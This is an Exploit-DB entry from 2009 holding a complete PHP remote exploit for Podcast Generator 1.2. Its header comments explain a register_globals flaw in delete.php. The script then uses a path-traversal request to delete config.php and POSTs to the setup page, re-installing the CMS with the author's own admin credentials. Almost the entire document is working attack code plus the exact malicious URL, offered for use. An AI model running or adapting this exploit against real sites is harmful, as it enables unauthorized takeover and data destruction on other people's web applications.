Exploit-DB #8866
Description: Podcast Generator 1.2 - Unauthorized Re-Installation
Type: webapps
Platform: php
Date: 2009-06-03
Author: StAkeR

Exploit:
<?php
#
# Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit
# 
# by staker
# --------------------------------------
# mail: staker[at]hotmail[dot]it
# url: http://podcastgen.sourceforge.net
# -------------------------------------- 
# 
# it works with register_globals=on
#  
# short explanation:
#
# ---------------------------------------- 
# Podcast Generator contains one flaw that
# allows an attacker to re-install the cms
# because of unlink() in 'delete.php' file
# ----------------------------------------
# Look at '/core/admin/delete.php'
# (removed author's comments)
/*

<?php
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) 
{  exit; } <-------- {1}

if ($amilogged != "true") { exit; } <-------{2}

    if (isset($_GET['file']) AND $_GET['file']!=NULL) {
    $file = $_GET['file']; 
     $ext = $_GET['ext'];
	
	if (file_exists("$absoluteurl$upload_dir$file.$ext")) { 
		unlink ("$upload_dir$file.$ext"); <--------{3}
		$PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>";
	}


*/
#
# Explanation (code snippet above [points])
# -----------------------------------------------------------------------------------
# 1. blocks all 'amilogged' REQUEST variables,what about GLOBALS?,therefore useless!
# 2. if 'amilogged' isn't true -> exit() function activated. 
# 3. unlink() delete an existing file.
# -----------------------------------------------------------------------------------
#
# It's possible to delete 'config.php' to re-install the cms. we need 'amilogged'
# set to true. We can do it using a GLOBALS variable.
#
# admin/core/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php
# 
# Various:
# --------------------------------------------------
# They didn't help me but i want to give a thanks to 
# girex,skerno,Chaomel,XaDoS,Dante90 and Gianluka_95   
# --------------------------------------------------
# Today is: 02 June 2009. 
# Location: Italy,Turin.
# http://www.youtube.com/watch?v=dBc7mK5iAH0
# --------------------------------------------------

error_reporting(E_STRICT ^ E_WARNING);

if ($argc < 2) start_usage();            

$host = $argv[1];
$path = $argv[2];

re_install();

function send_request($data)
{        
        global $host;
        
        if (!$sock = @fsockopen($host,80)) {
               die("connection refused..\n");
        }
        
        if (isset($data)) { 
               fputs($sock,$data);
        } 
               
        while (!feof($sock)) { $result .= fgets($sock); }           
        
        fclose($sock);
        return $result;
}


function remove_config()
{ 
        global $host,$path;
        
        $in_lex = "/{$path}/core/admin/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php";
        
        $config  = "GET {$in_lex} HTTP/1.1\r\n";
        $config .= "User-Agent: Lynx (textmode)\r\n";
        $config .= "Host: {$host}\r\n";
        $config .= "Connection: close\r\n\r\n";
        
        $lol = send_request($config);
        
        if (check_config() != FALSE) {
              die("register_globals=off, exploit failed!\n");
        }
        else {
             return true;
        }           
}


function re_install()
{ 
        global $host,$path;
       
        $binary = "username=staker&[CREDENTIAL_REDACTED]=killingyourself&setuplanguage=en"; 
         
        $config  = "POST {$path}/setup/index.php?step=5 HTTP/1.1\r\n";
        $config .= "User-Agent: Lynx (textmode)\r\n";
        $config .= "Host: {$host}\r\n";
        $config .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $config .= "Content-Length: ".strlen($binary)."\r\n";
        $config .= "Connection: close\r\n\r\n";
        $config .= $binary;
        
        remove_config();
        $content = send_request($config);
        
        
        if (eregi('Creation of the configuration file',$content)) {
             echo "[ re-installed successful\n";
             echo "[ username: staker\n[ [CREDENTIAL_REDACTED]\n"; exit(0);
        }
        else {
             die("Exploit failed\n");
        }                 
}
       



function check_config()
{ 
        global $host,$path;
        
        $config  = "GET /{$path}/config.php HTTP/1.1\r\n";
        $config .= "User-Agent: Lynx (textmode)\r\n";
        $config .= "Host: {$host}\r\n";
        $config .= "Connection: close\r\n\r\n";
        
        $content = send_request($config);
        
        if (ereg('HTTP/1.1 404 Not Found',$content))  {
              return false;
        }      
        else {
              return true;            
        }
}


function start_usage()
{
         print "[*--------------------------------------------------------------------------*]\n".
               "[* Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit *]\n".
               "[*--------------------------------------------------------------------------*]\n". 
               "[* Usage: php podcast_xpl.php [host] [path]                                 *]\n".
               "[* [host] host -> example: localhost                                        *]\n".
               "[* [path] path -> example: /podcast                                         *]\n".
               "[*--------------------------------------------------------------------------*]\n";
         die();       
}

# milw0rm.com [2009-06-03]